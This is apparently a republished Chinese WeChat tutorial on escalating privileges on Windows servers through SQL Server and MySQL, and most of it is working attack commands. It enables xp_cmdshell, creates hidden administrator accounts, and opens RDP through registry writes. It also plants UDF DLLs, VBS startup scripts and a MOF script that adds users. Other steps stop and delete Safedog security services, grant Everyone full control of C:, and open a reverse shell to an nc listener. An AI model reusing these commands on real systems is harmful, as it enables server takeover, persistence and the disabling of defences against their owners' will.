在利用系统溢出漏洞无果的情况下,可以尝试采用数据库进行提权。数据库提权的前提条件:拥有数据库最高权限用户密码。除Access数据库外,其他数据库基本都存在数据库提权的可能,本文主要针对SQL server,MySQL数据库提权进行记录。
SQL server,MySQL都需要具备数据库管理员权限才可执行提权操作。linux系统下mysql root用户是服务用户,权限不足以提权。Windows下mysql root权限很高,在没有被降权的情况可以进行提权操作。但是zkeys、宝塔等集成环境默认降权了root账号
SQL server 数据库提权
提权流程:获取SA账号>远程数据库登录>安装提权组件>创建账号>开启3389>远程系统登录>完成
一、SA账号的获取
1.爆破获取账号密码
2.网站源码,查看数据库连接文件。如web.config、config.asp、conn.asp、dbconfig.asp。可能得到的账号名称不是sa,但是具有系统权限。使用数据库软件连接数据库执行系统数据库的操作,若可以操作说明此账号具有sa权限。或者利用注入sqlmap --is-dba确认是否为dba权限。SQL server默认允许sa外链登陆,mysql root用户默认不允许外链登陆。
二、提权
2.1允许外联
xp_cmdshell组件默认在mssql 2000中是开启的,在mssql 2005之后的版本中则默认禁止。拥有管理员sa权限则可以用sp_configure开启该组件。
1.使用已经得到的sa权限账号远程登录数据库
2.启用cmd_shell执行命令组件:
EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO
4.如果目标机器没有开启3389,使用以下命令开启3389
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal Server','fDenyTSConnections','REG_DWORD',0;--
#停用cmd_shell执行命令组件
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', 0
RECONFIGURE
#执行系统命令
EXEC master.dbo.xp_cmdshell 'ipconfig'
#关闭3389
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal Server','fDenyTSConnections','REG_DWORD',1;
#如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:Program FilesMicrosoft SQL ServerMSSQLBinnxplog70.dll'
2.2禁止外链
如果目标数据库没有开外链,我们无法从远程登录数据。则需要利用一些大马进行提权
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
#该语句适用于sql server 2005
3.命令执行
4.开启3389,远程登录
2.3 过杀软
#将C盘设置为完全控制
cacls c:/e /t /g everyone:F
2.杀狗
#system权限停用安全狗服务:
net stop "safedog guard center" /y
net stop "safedog update center" /y
net stop "safedogguardcenter" /y
#system权限删除安全狗服务:
sc stop "SafeDogGuardCenter"
sc config "SafeDogGuardCenter" start=disabled
sc delete "Safedogguardcenter"
sc stop "SafeDogupdateCenter"
sc config "SafeDogUpdateCenter" start=disabled
sc delete "SafedogUpdatecenter"
sc stop "SafeDogCloudHeler"
sc config "SafeDogCloudHeler" start=disabled
sc delete "SafeDogCloudHeler"
#重启服务器即可kill安全狗。
3.其他
https://github.com/keyixiaxiang/xiaxiang-killer
MySQL数据库提权
一、获取root账号
一般来说云主机上面的网站配置文件一般数据库连接文件都是低权限账号,是根据不用站点创建不同数据库用户。单个服务器上的网站属于一个机构,这种情况可能拿下数据库配置文件直接是root账号。另外我们得到的账号不是root也有可能是root权限,能过获取mysql数据库信息一般是root权限。
情形一,可以直接读取账号密码:
mysqld --skip-grant-tables
# 跳过验证
mysql.exe -uroot
# 进入MySQL
二、MySQL开外链
修改user表host字段为%,表示允许任意地址登录MySQL,开启外链接成功
Grant all privileges on *.* to 'root'@'%' identified by 'password' with grant option;
开外联前
开外联后
三、UDF提权
win 2000: C:Winntudf.dll
win 2003: C:Windowsudf.dll
① NULL,表示禁止
② 如果value值有文件夹目录,则表示只允许该目录下文件(子目录都不行)
③ 如果为空(没有值),则表示不限制目录
MySQL5.0/5.6版本:my.ini中无此参数,查询该参数情况为空,不限制目录:
MySQL5.7版本:my.ini中存在参数,查询该参数情况为NULL,不允许导出:
3.2.提权
MySQL 5.1 以上版本需要导出到mysql安装目录/lib/plugin/,5.1 以下直接安装在c:/windows目录下,如果5.1以上没有plugin目录,需要手工创建或者通过NTFS流创建目录:
#NTFS流创建plugin目录
select 'x' into dumpfile 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin::INDEX_ALLOCATION';
②导出udf,如果脚本没法导出udf文件,也可以手动将该文件复制到plugin文件夹下(创建plugin目录、复制粘贴udf文件都需要一定的权限)
select load_file('d:\wwwrooot\network\lib_mysqludf_sys_64.dll') into dumpfile "D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\udf.dll";
#安装
create function cmdshell returns string soname 'udf.dll'
#写入命令
select cmdshell('net user test 123.com /add');
select cmdshell('net localgroup administrators test /add');
drop function cmdshell; # 删除函数
④提权成功,可以执行命令
select sys_eval('whoami')
如果目标mysql版本小于5.1。在这里导出即可
四、启动项提权
#启动项目录:
win 08:C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup
win 03:C:Documents and SettingsAdministrator「开始」菜单程序启动
4.1 创建test数据库
create database test;
4.2 在TEST数据库下创建一个新的表;
create table a (cmd text);
#创建了一个表名为a的表,表中只存放一个字段,字段名为cmd,text文本
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user test123 123456 /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test123 /add"",0)");
# 调用cmd创建管理员,注意双引号和括号以及后面的"0"一定要输入,用这三条命令来建立一个VBS的脚本程序
select * from a;
4.4 将表输出为一个VBS的脚本文件
select * from a into outfile "C://ProgramData//Administrator//Windows//Start Menu//Programs//Startup//a.vbs";
4.5重启计算机,创建用户成功。实际情况可以利用服务器漏洞,如ms12-020
4.6 二次执行进行提权
这里test123用户不是administrators组用户,使用相同的办法通过mysql命令重新写入vbs脚本。脚本内容为:
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test123 /add"",0)");
五、mof 提权
MOF是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。拥有mysql的root权限了以后,然后使用root权限去执行上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,里面包含cmd的添加管理员用户的命令。
# 提权mof脚本
#pragma namespace("\\.\root\subscription")
#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
select load_file('C:/Inetpub/wwwroot/8099/uploads/1.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

5.2隔一段时间服务器会自动执行此mof文件,文件代码内容是创建admin/admin用户

5.3 用户创建成功。此时的admin用户只是普通用户权限
5.4 提升权限
把上面的命令再执行一遍,mof 文件脚本内容为添加admin用户为管理员。等待一段时间后再看admin用户,已经成功升级为管理员用户
六、反连端口提权
反链端口提权也是利用的UDF提权。只是直接udf提权遇到waf的话会被拦截禁止执行系统函数。使用端口转发过掉防护
nc -l -p 12345
6.2 登陆,创建plugin目录,导出udf
6.3 创建反弹函数
6.4.执行反弹
select backshell('192.168.1.5',12345)
# 192.168.1.5为kali的IP,12345是要反弹的端口

6.5 成功反弹shell,完成提权
一如既往的学习,一如既往的整理,一如即往的分享。感谢支持
“如侵权请私聊公众号删文”
扫描关注LemonSec
觉得不错点个“赞”、“在看”哦
本文始发于微信公众号(LemonSec):Windows系统提权之数据库提权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论